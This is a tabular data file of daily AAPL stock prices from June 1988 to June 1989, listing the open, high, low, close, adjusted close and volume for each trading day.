-1988-06-24,1.6071428060531616,1.625,1.5892857313156128,1.6071428060531616,1.287889003753662,18678800.0,AAPL -1988-06-27,1.5892857313156128,1.6205357313156128,1.5892857313156128,1.5892857313156128,1.273579478263855,20904800.0,AAPL -1988-06-28,1.5982142686843872,1.6517857313156128,1.5892857313156128,1.6517857313156128,1.3236641883850098,40642000.0,AAPL -1988-06-29,1.6428571939468384,1.6696428060531616,1.6339285373687744,1.65625,1.3272416591644287,35862400.0,AAPL -1988-06-30,1.6517857313156128,1.6696428060531616,1.6428571939468384,1.6517857313156128,1.3236641883850098,28672000.0,AAPL -1988-07-01,1.6607142686843872,1.6741071939468384,1.6517857313156128,1.6607142686843872,1.330818772315979,23634800.0,AAPL -1988-07-05,1.6607142686843872,1.6875,1.6473214626312256,1.6875,1.3522839546203613,26112800.0,AAPL -1988-07-06,1.6830357313156128,1.6964285373687744,1.6473214626312256,1.6607142686843872,1.330818772315979,39138400.0,AAPL -1988-07-07,1.6607142686843872,1.6607142686843872,1.6160714626312256,1.6383928060531616,1.3129314184188843,26401200.0,AAPL -1988-07-08,1.625,1.6428571939468384,1.6071428060531616,1.6160714626312256,1.295044183731079,26348000.0,AAPL -1988-07-11,1.625,1.625,1.6026785373687744,1.6116071939468384,1.2914670705795288,18407200.0,AAPL -1988-07-12,1.6071428060531616,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.2807339429855347,25225200.0,AAPL -1988-07-13,1.5982142686843872,1.6071428060531616,1.5803571939468384,1.5982142686843872,1.2807339429855347,28792400.0,AAPL -1988-07-14,1.5982142686843872,1.6160714626312256,1.5892857313156128,1.6071428060531616,1.287889003753662,15702400.0,AAPL -1988-07-15,1.6071428060531616,1.625,1.5982142686843872,1.6071428060531616,1.287889003753662,20756400.0,AAPL -1988-07-18,1.6205357313156128,1.6428571939468384,1.6160714626312256,1.625,1.302198886871338,28375200.0,AAPL -1988-07-19,1.6071428060531616,1.625,1.5669642686843872,1.5982142686843872,1.2807339429855347,30576000.0,AAPL -1988-07-20,1.5982142686843872,1.6071428060531616,1.5714285373687744,1.5803571939468384,1.266424298286438,30021600.0,AAPL -1988-07-21,1.5625,1.5714285373687744,1.5267857313156128,1.5357142686843872,1.230649709701538,37256800.0,AAPL -1988-07-22,1.5357142686843872,1.5446428060531616,1.5178571939468384,1.5178571939468384,1.2163397073745728,25961600.0,AAPL -1988-07-25,1.5267857313156128,1.5446428060531616,1.5089285373687744,1.5267857313156128,1.2234947681427002,26474000.0,AAPL -1988-07-26,1.5267857313156128,1.5446428060531616,1.5089285373687744,1.5267857313156128,1.2234947681427002,25382000.0,AAPL -1988-07-27,1.5267857313156128,1.5446428060531616,1.5178571939468384,1.5267857313156128,1.2234947681427002,29131200.0,AAPL -1988-07-28,1.5178571939468384,1.5357142686843872,1.5089285373687744,1.5223214626312256,1.2199172973632812,23170000.0,AAPL -1988-07-29,1.5446428060531616,1.5892857313156128,1.5357142686843872,1.5848214626312256,1.270002007484436,39737600.0,AAPL -1988-08-01,1.5892857313156128,1.6339285373687744,1.5803571939468384,1.6071428060531616,1.287889003753662,21484400.0,AAPL -1988-08-02,1.6071428060531616,1.625,1.5892857313156128,1.59375,1.2771573066711426,30321200.0,AAPL -1988-08-03,1.5982142686843872,1.5982142686843872,1.5714285373687744,1.5982142686843872,1.2807339429855347,27711600.0,AAPL -1988-08-04,1.5982142686843872,1.6160714626312256,1.5892857313156128,1.59375,1.2771573066711426,17228400.0,AAPL -1988-08-05,1.5892857313156128,1.6071428060531616,1.5803571939468384,1.5803571939468384,1.266424298286438,13165600.0,AAPL -1988-08-08,1.5892857313156128,1.5982142686843872,1.5714285373687744,1.5714285373687744,1.2592699527740479,7484400.0,AAPL -1988-08-09,1.5714285373687744,1.5803571939468384,1.5357142686843872,1.5535714626312256,1.2449593544006348,42506800.0,AAPL -1988-08-10,1.5625,1.5625,1.4910714626312256,1.4955357313156128,1.1984525918960571,36951600.0,AAPL -1988-08-11,1.5089285373687744,1.5446428060531616,1.5,1.5446428060531616,1.2378047704696655,26513200.0,AAPL -1988-08-12,1.5357142686843872,1.5357142686843872,1.5089285373687744,1.5178571939468384,1.2163397073745728,19370400.0,AAPL -1988-08-15,1.5089285373687744,1.5089285373687744,1.4464285373687744,1.4732142686843872,1.1827937364578247,41669600.0,AAPL -1988-08-16,1.4642857313156128,1.5446428060531616,1.4553571939468384,1.5178571939468384,1.2186357975006104,30688000.0,AAPL -1988-08-17,1.5178571939468384,1.5267857313156128,1.4910714626312256,1.5,1.204298973083496,29736000.0,AAPL -1988-08-18,1.5,1.5357142686843872,1.4910714626312256,1.5178571939468384,1.2186357975006104,18516400.0,AAPL -1988-08-19,1.5178571939468384,1.5267857313156128,1.4464285373687744,1.4553571939468384,1.1684565544128418,56840000.0,AAPL -1988-08-22,1.4375,1.4553571939468384,1.4107142686843872,1.4196428060531616,1.1397830247879028,42548800.0,AAPL -1988-08-23,1.4196428060531616,1.4375,1.4017857313156128,1.4107142686843872,1.1326146125793457,40894000.0,AAPL -1988-08-24,1.4196428060531616,1.4553571939468384,1.4107142686843872,1.4553571939468384,1.1684565544128418,31368400.0,AAPL -1988-08-25,1.4375,1.4464285373687744,1.4017857313156128,1.4330357313156128,1.1505357027053833,31920000.0,AAPL -1988-08-26,1.4285714626312256,1.4553571939468384,1.4285714626312256,1.4375,1.1541197299957275,10038000.0,AAPL -1988-08-29,1.4553571939468384,1.4642857313156128,1.4464285373687744,1.4598214626312256,1.1720411777496338,14308000.0,AAPL -1988-08-30,1.4553571939468384,1.4642857313156128,1.4285714626312256,1.4598214626312256,1.1720411777496338,12642000.0,AAPL -1988-08-31,1.4642857313156128,1.46875,1.4107142686843872,1.4241071939468384,1.1433674097061157,59421600.0,AAPL -1988-09-01,1.4196428060531616,1.4196428060531616,1.375,1.3883928060531616,1.1146936416625977,61684000.0,AAPL -1988-09-02,1.4107142686843872,1.4285714626312256,1.3928571939468384,1.4196428060531616,1.1397830247879028,46575200.0,AAPL -1988-09-06,1.4285714626312256,1.4285714626312256,1.3839285373687744,1.3883928060531616,1.1146936416625977,35862400.0,AAPL -1988-09-07,1.3928571939468384,1.4107142686843872,1.3482142686843872,1.3660714626312256,1.0967724323272705,44777600.0,AAPL -1988-09-08,1.3660714626312256,1.4107142686843872,1.3482142686843872,1.3839285373687744,1.1111093759536743,51814000.0,AAPL -1988-09-09,1.3839285373687744,1.4642857313156128,1.3482142686843872,1.4464285373687744,1.1612886190414429,58668400.0,AAPL -1988-09-12,1.4642857313156128,1.4910714626312256,1.4330357313156128,1.4642857313156128,1.1756254434585571,37007600.0,AAPL -1988-09-13,1.4375,1.4732142686843872,1.4285714626312256,1.4642857313156128,1.1756254434585571,29920800.0,AAPL -1988-09-14,1.4910714626312256,1.5133928060531616,1.4821428060531616,1.5,1.204298973083496,59642800.0,AAPL -1988-09-15,1.5,1.5267857313156128,1.4821428060531616,1.4866071939468384,1.1935465335845947,41440000.0,AAPL -1988-09-16,1.4821428060531616,1.5267857313156128,1.4776785373687744,1.5089285373687744,1.2114676237106323,30940000.0,AAPL -1988-09-19,1.5,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.197130560874939,23032800.0,AAPL -1988-09-20,1.4910714626312256,1.5089285373687744,1.4776785373687744,1.4821428060531616,1.1899625062942505,25670400.0,AAPL -1988-09-21,1.4910714626312256,1.5357142686843872,1.4821428060531616,1.5267857313156128,1.2258044481277466,22836800.0,AAPL -1988-09-22,1.5357142686843872,1.5714285373687744,1.5267857313156128,1.5714285373687744,1.261647343635559,36416800.0,AAPL -1988-09-23,1.5535714626312256,1.5803571939468384,1.5535714626312256,1.5625,1.2544779777526855,25370800.0,AAPL -1988-09-26,1.5625,1.5714285373687744,1.5178571939468384,1.5267857313156128,1.2258044481277466,21758800.0,AAPL -1988-09-27,1.5178571939468384,1.5535714626312256,1.5178571939468384,1.5491071939468384,1.2437256574630737,40745600.0,AAPL -1988-09-28,1.5535714626312256,1.5758928060531616,1.5446428060531616,1.5535714626312256,1.2473094463348389,21173600.0,AAPL -1988-09-29,1.5625,1.5803571939468384,1.5535714626312256,1.5714285373687744,1.261647343635559,26518800.0,AAPL -1988-09-30,1.5714285373687744,1.5714285373687744,1.5446428060531616,1.5446428060531616,1.24014151096344,23223200.0,AAPL -1988-10-03,1.5357142686843872,1.5446428060531616,1.5,1.5178571939468384,1.2186357975006104,22694000.0,AAPL -1988-10-04,1.5089285373687744,1.5267857313156128,1.46875,1.4821428060531616,1.1899625062942505,12913600.0,AAPL -1988-10-05,1.4732142686843872,1.4910714626312256,1.4464285373687744,1.4598214626312256,1.1720411777496338,30800000.0,AAPL -1988-10-06,1.4464285373687744,1.4598214626312256,1.4017857313156128,1.4196428060531616,1.1397830247879028,41941200.0,AAPL -1988-10-07,1.3928571939468384,1.4196428060531616,1.3705357313156128,1.4196428060531616,1.1397830247879028,114396800.0,AAPL -1988-10-10,1.4107142686843872,1.4196428060531616,1.3392857313156128,1.375,1.1039409637451172,83160000.0,AAPL -1988-10-11,1.3660714626312256,1.4107142686843872,1.3660714626312256,1.3928571939468384,1.118277668952942,48638800.0,AAPL -1988-10-12,1.375,1.3928571939468384,1.3571428060531616,1.3839285373687744,1.1111093759536743,33236000.0,AAPL -1988-10-13,1.375,1.4196428060531616,1.375,1.3928571939468384,1.118277668952942,41115200.0,AAPL -1988-10-14,1.4107142686843872,1.4107142686843872,1.3616071939468384,1.3839285373687744,1.1111093759536743,39312000.0,AAPL -1988-10-17,1.375,1.3928571939468384,1.3660714626312256,1.375,1.1039409637451172,23422000.0,AAPL -1988-10-18,1.3928571939468384,1.4107142686843872,1.3660714626312256,1.40625,1.1290298700332642,35649600.0,AAPL -1988-10-19,1.4196428060531616,1.4553571939468384,1.4107142686843872,1.4285714626312256,1.146951675415039,69330800.0,AAPL -1988-10-20,1.4285714626312256,1.4866071939468384,1.4285714626312256,1.4821428060531616,1.1899625062942505,43366400.0,AAPL -1988-10-21,1.4732142686843872,1.4910714626312256,1.4553571939468384,1.4642857313156128,1.1756254434585571,30900800.0,AAPL -1988-10-24,1.4732142686843872,1.4732142686843872,1.4151785373687744,1.4285714626312256,1.146951675415039,33790400.0,AAPL -1988-10-25,1.4375,1.4375,1.4196428060531616,1.4241071939468384,1.1433674097061157,21296800.0,AAPL -1988-10-26,1.4285714626312256,1.4285714626312256,1.375,1.4017857313156128,1.1254464387893677,47180000.0,AAPL -1988-10-27,1.3839285373687744,1.4017857313156128,1.3660714626312256,1.3928571939468384,1.118277668952942,35921200.0,AAPL -1988-10-28,1.3928571939468384,1.4107142686843872,1.375,1.375,1.1039409637451172,21120400.0,AAPL -1988-10-31,1.3839285373687744,1.3839285373687744,1.3392857313156128,1.3794642686843872,1.107525110244751,60726400.0,AAPL -1988-11-01,1.375,1.3839285373687744,1.3482142686843872,1.3571428060531616,1.0896037817001343,35924000.0,AAPL -1988-11-02,1.3660714626312256,1.3660714626312256,1.3125,1.3303571939468384,1.068098783493042,52130400.0,AAPL -1988-11-03,1.3303571939468384,1.3392857313156128,1.3125,1.3258928060531616,1.06451416015625,60614400.0,AAPL -1988-11-04,1.3125,1.3571428060531616,1.3125,1.3482142686843872,1.0824354887008667,38449600.0,AAPL -1988-11-07,1.3303571939468384,1.3482142686843872,1.3214285373687744,1.3392857313156128,1.0752668380737305,42520800.0,AAPL -1988-11-08,1.3392857313156128,1.3839285373687744,1.3348214626312256,1.375,1.1039409637451172,38631600.0,AAPL -1988-11-09,1.3660714626312256,1.40625,1.3571428060531616,1.4017857313156128,1.1254464387893677,50430800.0,AAPL -1988-11-10,1.4107142686843872,1.4196428060531616,1.3928571939468384,1.4107142686843872,1.1326146125793457,24978800.0,AAPL -1988-11-11,1.3928571939468384,1.4151785373687744,1.375,1.375,1.1039409637451172,27171200.0,AAPL -1988-11-14,1.3839285373687744,1.3928571939468384,1.3660714626312256,1.3883928060531616,1.1146936416625977,21308000.0,AAPL -1988-11-15,1.3928571939468384,1.4017857313156128,1.3839285373687744,1.3928571939468384,1.118277668952942,20000400.0,AAPL -1988-11-16,1.3928571939468384,1.4017857313156128,1.3482142686843872,1.3571428060531616,1.0896037817001343,36960000.0,AAPL -1988-11-17,1.3571428060531616,1.375,1.3571428060531616,1.3660714626312256,1.0967724323272705,19885600.0,AAPL -1988-11-18,1.375,1.375,1.3571428060531616,1.3571428060531616,1.0896037817001343,14397600.0,AAPL -1988-11-21,1.3392857313156128,1.3482142686843872,1.2946428060531616,1.3080357313156128,1.0529474020004272,55476400.0,AAPL -1988-11-22,1.3035714626312256,1.3169642686843872,1.2857142686843872,1.2901785373687744,1.0385723114013672,37046800.0,AAPL -1988-11-23,1.2767857313156128,1.3214285373687744,1.2678571939468384,1.3169642686843872,1.0601342916488647,46998000.0,AAPL -1988-11-25,1.2946428060531616,1.3125,1.2857142686843872,1.3035714626312256,1.0493537187576294,12073600.0,AAPL -1988-11-28,1.3035714626312256,1.3125,1.2857142686843872,1.3035714626312256,1.0493537187576294,34840400.0,AAPL -1988-11-29,1.3035714626312256,1.3125,1.2857142686843872,1.3125,1.056540846824646,23167200.0,AAPL -1988-11-30,1.3125,1.3571428060531616,1.3125,1.34375,1.0816965103149414,41960800.0,AAPL -1988-12-01,1.3482142686843872,1.3928571939468384,1.3392857313156128,1.3839285373687744,1.114039659500122,53040400.0,AAPL -1988-12-02,1.3660714626312256,1.4241071939468384,1.3571428060531616,1.4017857313156128,1.1284147500991821,83428800.0,AAPL -1988-12-05,1.4107142686843872,1.4285714626312256,1.3839285373687744,1.4107142686843872,1.1356017589569092,38603600.0,AAPL -1988-12-06,1.4017857313156128,1.4196428060531616,1.3928571939468384,1.4107142686843872,1.1356017589569092,26233200.0,AAPL -1988-12-07,1.3928571939468384,1.4107142686843872,1.3839285373687744,1.40625,1.1320080757141113,24533600.0,AAPL -1988-12-08,1.4017857313156128,1.4017857313156128,1.3839285373687744,1.3973214626312256,1.1248209476470947,14865200.0,AAPL -1988-12-09,1.4017857313156128,1.4107142686843872,1.3839285373687744,1.3973214626312256,1.1248209476470947,11239200.0,AAPL -1988-12-12,1.4017857313156128,1.4107142686843872,1.375,1.375,1.1068522930145264,29470000.0,AAPL -1988-12-13,1.375,1.3839285373687744,1.3660714626312256,1.3839285373687744,1.114039659500122,30637600.0,AAPL -1988-12-14,1.375,1.4285714626312256,1.375,1.4196428060531616,1.1427892446517944,48325200.0,AAPL -1988-12-15,1.4285714626312256,1.4464285373687744,1.4017857313156128,1.4107142686843872,1.1356017589569092,28142800.0,AAPL -1988-12-16,1.4107142686843872,1.4464285373687744,1.4017857313156128,1.4330357313156128,1.1535698175430298,45872400.0,AAPL -1988-12-19,1.4375,1.4642857313156128,1.4285714626312256,1.4553571939468384,1.1715389490127563,58581600.0,AAPL -1988-12-20,1.4642857313156128,1.4821428060531616,1.4508928060531616,1.4642857313156128,1.178726077079773,68546800.0,AAPL -1988-12-21,1.4642857313156128,1.5,1.4642857313156128,1.4910714626312256,1.2002882957458496,60491200.0,AAPL -1988-12-22,1.4910714626312256,1.5,1.4553571939468384,1.4642857313156128,1.178726077079773,26507600.0,AAPL -1988-12-23,1.4642857313156128,1.4776785373687744,1.4642857313156128,1.46875,1.1823198795318604,10239600.0,AAPL -1988-12-27,1.4642857313156128,1.4821428060531616,1.4464285373687744,1.4464285373687744,1.1643517017364502,14996800.0,AAPL -1988-12-28,1.4464285373687744,1.4553571939468384,1.4196428060531616,1.4375,1.1571638584136963,12885600.0,AAPL -1988-12-29,1.4375,1.4553571939468384,1.4375,1.4464285373687744,1.1643517017364502,29453200.0,AAPL -1988-12-30,1.4464285373687744,1.4732142686843872,1.4375,1.4375,1.1571638584136963,20423200.0,AAPL -1989-01-03,1.4375,1.4464285373687744,1.4285714626312256,1.4419642686843872,1.1607578992843628,25004000.0,AAPL -1989-01-04,1.4553571939468384,1.5044642686843872,1.4464285373687744,1.5,1.2074754238128662,59987200.0,AAPL -1989-01-05,1.5,1.5446428060531616,1.4732142686843872,1.5089285373687744,1.214662790298462,76832000.0,AAPL -1989-01-06,1.5089285373687744,1.5535714626312256,1.5089285373687744,1.5223214626312256,1.225443720817566,49666400.0,AAPL -1989-01-09,1.5357142686843872,1.5401785373687744,1.5089285373687744,1.5357142686843872,1.23622465133667,19826800.0,AAPL -1989-01-10,1.5178571939468384,1.53125,1.4821428060531616,1.5223214626312256,1.225443720817566,25830000.0,AAPL -1989-01-11,1.5089285373687744,1.5178571939468384,1.4732142686843872,1.5044642686843872,1.211069107055664,39032000.0,AAPL -1989-01-12,1.5089285373687744,1.5357142686843872,1.5,1.5267857313156128,1.2290375232696533,37578800.0,AAPL -1989-01-13,1.5267857313156128,1.5535714626312256,1.5133928060531616,1.5446428060531616,1.2434122562408447,48476400.0,AAPL -1989-01-16,1.5446428060531616,1.5714285373687744,1.5357142686843872,1.5625,1.257786750793457,42148400.0,AAPL -1989-01-17,1.5446428060531616,1.5535714626312256,1.4285714626312256,1.4419642686843872,1.1607578992843628,189151200.0,AAPL -1989-01-18,1.4553571939468384,1.46875,1.4107142686843872,1.4196428060531616,1.1427892446517944,121982000.0,AAPL -1989-01-19,1.4464285373687744,1.4642857313156128,1.4285714626312256,1.4464285373687744,1.1643517017364502,63996800.0,AAPL -1989-01-20,1.4464285373687744,1.4821428060531616,1.4375,1.4642857313156128,1.178726077079773,43433600.0,AAPL -1989-01-23,1.4553571939468384,1.4732142686843872,1.4553571939468384,1.4642857313156128,1.178726077079773,45133200.0,AAPL -1989-01-24,1.4642857313156128,1.4910714626312256,1.4553571939468384,1.4866071939468384,1.1966944932937622,55823600.0,AAPL -1989-01-25,1.4910714626312256,1.5,1.4642857313156128,1.4821428060531616,1.1931006908416748,27734000.0,AAPL -1989-01-26,1.4553571939468384,1.5044642686843872,1.4508928060531616,1.4910714626312256,1.2002882957458496,71316000.0,AAPL -1989-01-27,1.3660714626312256,1.4017857313156128,1.2946428060531616,1.34375,1.0816965103149414,531792800.0,AAPL -1989-01-30,1.34375,1.3571428060531616,1.3303571939468384,1.3348214626312256,1.074509620666504,146624800.0,AAPL -1989-01-31,1.3303571939468384,1.3482142686843872,1.3125,1.3482142686843872,1.085290789604187,115088400.0,AAPL -1989-02-01,1.3482142686843872,1.4151785373687744,1.3348214626312256,1.4017857313156128,1.1284147500991821,121889600.0,AAPL -1989-02-02,1.4107142686843872,1.4375,1.4017857313156128,1.4196428060531616,1.1427892446517944,118372800.0,AAPL -1989-02-03,1.4285714626312256,1.4375,1.3928571939468384,1.4017857313156128,1.1284147500991821,44727200.0,AAPL -1989-02-06,1.4107142686843872,1.4107142686843872,1.3660714626312256,1.375,1.1068522930145264,29184400.0,AAPL -1989-02-07,1.3660714626312256,1.4017857313156128,1.3660714626312256,1.3928571939468384,1.1212267875671387,41288800.0,AAPL -1989-02-08,1.3928571939468384,1.4107142686843872,1.3571428060531616,1.3660714626312256,1.0996651649475098,39253200.0,AAPL -1989-02-09,1.3660714626312256,1.3928571939468384,1.3571428060531616,1.3660714626312256,1.0996651649475098,40202400.0,AAPL -1989-02-10,1.3660714626312256,1.3660714626312256,1.3214285373687744,1.3303571939468384,1.0709155797958374,87085600.0,AAPL -1989-02-13,1.3125,1.3303571939468384,1.3125,1.3214285373687744,1.0637284517288208,58797200.0,AAPL -1989-02-14,1.3169642686843872,1.3214285373687744,1.2589285373687744,1.2767857313156128,1.0277916193008423,222894000.0,AAPL -1989-02-15,1.2767857313156128,1.2946428060531616,1.2678571939468384,1.2946428060531616,1.0421662330627441,82656000.0,AAPL -1989-02-16,1.2946428060531616,1.3303571939468384,1.2857142686843872,1.2991071939468384,1.0457602739334106,63924000.0,AAPL -1989-02-17,1.2946428060531616,1.3214285373687744,1.2946428060531616,1.3125,1.059451699256897,29212400.0,AAPL -1989-02-21,1.3169642686843872,1.3482142686843872,1.3125,1.3392857313156128,1.0810739994049072,47639200.0,AAPL -1989-02-22,1.3303571939468384,1.3392857313156128,1.3035714626312256,1.3125,1.059451699256897,59581200.0,AAPL -1989-02-23,1.3035714626312256,1.3214285373687744,1.2946428060531616,1.3125,1.059451699256897,23842000.0,AAPL -1989-02-24,1.3214285373687744,1.3214285373687744,1.2857142686843872,1.2857142686843872,1.0378310680389404,38032400.0,AAPL -1989-02-27,1.2857142686843872,1.3035714626312256,1.2767857313156128,1.3035714626312256,1.0522452592849731,28980000.0,AAPL -1989-02-28,1.3035714626312256,1.3125,1.2857142686843872,1.2946428060531616,1.0450377464294434,44004800.0,AAPL -1989-03-01,1.2946428060531616,1.3035714626312256,1.2678571939468384,1.2857142686843872,1.0378310680389404,42532000.0,AAPL -1989-03-02,1.2767857313156128,1.2946428060531616,1.2410714626312256,1.25,1.0090028047561646,94082800.0,AAPL -1989-03-03,1.2589285373687744,1.2589285373687744,1.2142857313156128,1.2410714626312256,1.0017952919006348,96944400.0,AAPL -1989-03-06,1.25,1.28125,1.2321428060531616,1.2678571939468384,1.023416519165039,42128800.0,AAPL -1989-03-07,1.2678571939468384,1.2857142686843872,1.25,1.2767857313156128,1.0306239128112793,65172800.0,AAPL -1989-03-08,1.2723214626312256,1.2946428060531616,1.2589285373687744,1.2589285373687744,1.0162097215652466,54073600.0,AAPL -1989-03-09,1.2589285373687744,1.2767857313156128,1.2321428060531616,1.2321428060531616,0.9945877194404602,33359200.0,AAPL -1989-03-10,1.2321428060531616,1.25,1.2232142686843872,1.25,1.0090028047561646,25678800.0,AAPL -1989-03-13,1.25,1.2678571939468384,1.2410714626312256,1.25,1.0090028047561646,32776800.0,AAPL -1989-03-14,1.25,1.2678571939468384,1.2455357313156128,1.2589285373687744,1.0162097215652466,40485200.0,AAPL -1989-03-15,1.2589285373687744,1.2678571939468384,1.2410714626312256,1.25,1.0090028047561646,22514800.0,AAPL -1989-03-16,1.25,1.2678571939468384,1.2321428060531616,1.2589285373687744,1.0162097215652466,48059200.0,AAPL -1989-03-17,1.2321428060531616,1.2767857313156128,1.2142857313156128,1.2455357313156128,1.0053987503051758,59281600.0,AAPL -1989-03-20,1.25,1.2589285373687744,1.2321428060531616,1.2455357313156128,1.0053987503051758,45362800.0,AAPL -1989-03-21,1.2678571939468384,1.2678571939468384,1.2410714626312256,1.2455357313156128,1.0053987503051758,32048800.0,AAPL -1989-03-22,1.2232142686843872,1.2410714626312256,1.2053571939468384,1.2098214626312256,0.9765701293945312,36212400.0,AAPL -1989-03-23,1.2142857313156128,1.2321428060531616,1.2053571939468384,1.2276785373687744,0.9909843802452087,29727600.0,AAPL -1989-03-27,1.2232142686843872,1.2321428060531616,1.1964285373687744,1.2053571939468384,0.9729666113853455,37914800.0,AAPL -1989-03-28,1.2142857313156128,1.2321428060531616,1.2142857313156128,1.2142857313156128,0.9801737070083618,35313600.0,AAPL -1989-03-29,1.2142857313156128,1.2321428060531616,1.2142857313156128,1.2232142686843872,0.9873804450035095,18600400.0,AAPL -1989-03-30,1.2232142686843872,1.25,1.2142857313156128,1.2410714626312256,1.0017952919006348,26311600.0,AAPL -1989-03-31,1.25,1.2767857313156128,1.2410714626312256,1.2723214626312256,1.0270203351974487,46337200.0,AAPL -1989-04-03,1.2678571939468384,1.2946428060531616,1.2410714626312256,1.25,1.0090028047561646,41571600.0,AAPL -1989-04-04,1.2321428060531616,1.2455357313156128,1.2098214626312256,1.2321428060531616,0.9945877194404602,28932400.0,AAPL -1989-04-05,1.2321428060531616,1.2589285373687744,1.2232142686843872,1.25,1.0090028047561646,30063600.0,AAPL -1989-04-06,1.2410714626312256,1.2901785373687744,1.2321428060531616,1.2857142686843872,1.0378310680389404,39093600.0,AAPL -1989-04-07,1.2857142686843872,1.3392857313156128,1.2857142686843872,1.3348214626312256,1.0774701833724976,88746000.0,AAPL -1989-04-10,1.3303571939468384,1.3571428060531616,1.3125,1.3214285373687744,1.0666595697402954,33843600.0,AAPL -1989-04-11,1.3392857313156128,1.3571428060531616,1.3214285373687744,1.3482142686843872,1.088281273841858,36635200.0,AAPL -1989-04-12,1.3660714626312256,1.4017857313156128,1.3526785373687744,1.375,1.1099027395248413,96978000.0,AAPL -1989-04-13,1.3839285373687744,1.4107142686843872,1.3660714626312256,1.375,1.1099027395248413,45318000.0,AAPL -1989-04-14,1.3928571939468384,1.4017857313156128,1.3660714626312256,1.3839285373687744,1.1171095371246338,30839200.0,AAPL -1989-04-17,1.375,1.4017857313156128,1.3571428060531616,1.4017857313156128,1.1315239667892456,35036400.0,AAPL -1989-04-18,1.4107142686843872,1.4464285373687744,1.4017857313156128,1.4330357313156128,1.1567490100860596,140246400.0,AAPL -1989-04-19,1.4285714626312256,1.4866071939468384,1.4196428060531616,1.4598214626312256,1.1783705949783325,106470000.0,AAPL -1989-04-20,1.4553571939468384,1.4821428060531616,1.4375,1.4553571939468384,1.1747668981552124,44954000.0,AAPL -1989-04-21,1.4464285373687744,1.4598214626312256,1.4196428060531616,1.4330357313156128,1.1567490100860596,28792400.0,AAPL -1989-04-24,1.4285714626312256,1.4375,1.4107142686843872,1.4330357313156128,1.1567490100860596,27697600.0,AAPL -1989-04-25,1.4285714626312256,1.4464285373687744,1.4196428060531616,1.4285714626312256,1.153145432472229,29044400.0,AAPL -1989-04-26,1.4285714626312256,1.4375,1.3973214626312256,1.4196428060531616,1.1459381580352783,46533200.0,AAPL -1989-04-27,1.4107142686843872,1.4285714626312256,1.3928571939468384,1.40625,1.1351275444030762,34846000.0,AAPL -1989-04-28,1.4017857313156128,1.4107142686843872,1.375,1.3928571939468384,1.124316692352295,25964400.0,AAPL -1989-05-01,1.375,1.4017857313156128,1.375,1.3928571939468384,1.124316692352295,20165600.0,AAPL -1989-05-02,1.3928571939468384,1.4375,1.3928571939468384,1.4241071939468384,1.1495423316955566,53936400.0,AAPL -1989-05-03,1.4196428060531616,1.4553571939468384,1.4196428060531616,1.4375,1.1603527069091797,55134800.0,AAPL -1989-05-04,1.4375,1.4732142686843872,1.4285714626312256,1.4642857313156128,1.181973934173584,47227600.0,AAPL -1989-05-05,1.5178571939468384,1.5267857313156128,1.4821428060531616,1.4821428060531616,1.1963881254196167,115189200.0,AAPL -1989-05-08,1.4821428060531616,1.5089285373687744,1.4821428060531616,1.5089285373687744,1.2180097103118896,51480800.0,AAPL -1989-05-09,1.5,1.5357142686843872,1.5,1.5178571939468384,1.2252169847488403,86693600.0,AAPL -1989-05-10,1.5357142686843872,1.5535714626312256,1.5178571939468384,1.5446428060531616,1.2468384504318237,58609600.0,AAPL -1989-05-11,1.5446428060531616,1.5803571939468384,1.5357142686843872,1.5669642686843872,1.2648563385009766,75236000.0,AAPL -1989-05-12,1.5892857313156128,1.6071428060531616,1.5714285373687744,1.6071428060531616,1.2972890138626099,116785200.0,AAPL -1989-05-15,1.5982142686843872,1.6517857313156128,1.5982142686843872,1.6428571939468384,1.3261172771453857,79475200.0,AAPL -1989-05-16,1.6428571939468384,1.6517857313156128,1.6071428060531616,1.6205357313156128,1.308099627494812,57167600.0,AAPL -1989-05-17,1.6160714626312256,1.625,1.6071428060531616,1.6160714626312256,1.3044958114624023,62115200.0,AAPL -1989-05-18,1.6160714626312256,1.625,1.5982142686843872,1.5982142686843872,1.29008150100708,52813600.0,AAPL -1989-05-19,1.5982142686843872,1.6517857313156128,1.5982142686843872,1.6339285373687744,1.3189098834991455,82692400.0,AAPL -1989-05-22,1.6339285373687744,1.6517857313156128,1.6160714626312256,1.6428571939468384,1.3290213346481323,47600000.0,AAPL -1989-05-23,1.6428571939468384,1.6428571939468384,1.6160714626312256,1.625,1.3145748376846313,33616800.0,AAPL -1989-05-24,1.6160714626312256,1.7053571939468384,1.6160714626312256,1.7053571939468384,1.3795816898345947,74401600.0,AAPL -1989-05-25,1.6875,1.75,1.6875,1.7232142686843872,1.3940279483795166,58091600.0,AAPL -1989-05-26,1.7232142686843872,1.75,1.7142857313156128,1.7321428060531616,1.4012501239776611,28128800.0,AAPL -1989-05-30,1.7232142686843872,1.75,1.6919642686843872,1.6964285373687744,1.372359037399292,27980400.0,AAPL -1989-05-31,1.6964285373687744,1.71875,1.6785714626312256,1.7053571939468384,1.3795816898345947,28803600.0,AAPL -1989-06-01,1.7053571939468384,1.7589285373687744,1.6964285373687744,1.7410714626312256,1.408473253250122,44875600.0,AAPL -1989-06-02,1.7321428060531616,1.7678571939468384,1.7321428060531616,1.75,1.415696382522583,31119200.0,AAPL -1989-06-05,1.7410714626312256,1.75,1.6607142686843872,1.6785714626312256,1.3579127788543701,31029600.0,AAPL -1989-06-06,1.6696428060531616,1.6785714626312256,1.6517857313156128,1.6696428060531616,1.3506903648376465,36251600.0,AAPL -1989-06-07,1.6696428060531616,1.7321428060531616,1.6696428060531616,1.7232142686843872,1.3940279483795166,43918000.0,AAPL -1989-06-08,1.7321428060531616,1.75,1.6875,1.7008928060531616,1.375970482826233,44503200.0,AAPL -1989-06-09,1.6875,1.7053571939468384,1.6607142686843872,1.6785714626312256,1.3579127788543701,23604000.0,AAPL -1989-06-12,1.6696428060531616,1.7053571939468384,1.6517857313156128,1.6964285373687744,1.372359037399292,20216000.0,AAPL -1989-06-13,1.6964285373687744,1.7410714626312256,1.6785714626312256,1.7321428060531616,1.4012501239776611,57744400.0,AAPL -1989-06-14,1.75,1.7946428060531616,1.7232142686843872,1.7723214626312256,1.4337538480758667,62826400.0,AAPL -1989-06-15,1.7678571939468384,1.7767857313156128,1.6964285373687744,1.6964285373687744,1.372359037399292,40350800.0,AAPL -1989-06-16,1.5982142686843872,1.625,1.5535714626312256,1.5892857313156128,1.2856837511062622,135500400.0,AAPL -1989-06-19,1.5892857313156128,1.5982142686843872,1.5535714626312256,1.5714285373687744,1.2712374925613403,45780000.0,AAPL 